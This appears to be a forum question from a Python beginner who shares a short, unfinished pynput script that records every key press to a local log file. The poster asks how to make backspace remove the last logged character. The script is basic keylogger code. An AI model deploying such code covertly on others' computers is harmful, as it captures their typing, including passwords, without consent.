I am new to python and I'm trying to imitate a keylogger. I want when I press backspace key, it will delete the last character in the text file, like type "helli", the letter "i" was wrong and I press backspace, the "i" letter is deleted. Anyone have an idea?
from pynput.keyboard import Listener
def anonymous(key):
key = str(key)
key = key.replace("'","")
if key == "Key.esc":
raise SystemExit(0)
if key == "Key.ctrl_l":
key = "ctrl"
if key == "Key.enter":
key = "\n"
if key == "Key.caps_lock":
key = "capslock"
if key == "Key.tab":
key = "\n"
if key == "Key.ctrl_r":
key = "ctrl"
if key == "Key.space":
key = " "
if key == "Key.backspace"
#this line
with open("log.txt", "a") as file:
file.write(key)
print(key)
with Listener(on_press=anonymous) as listener:
listener.join()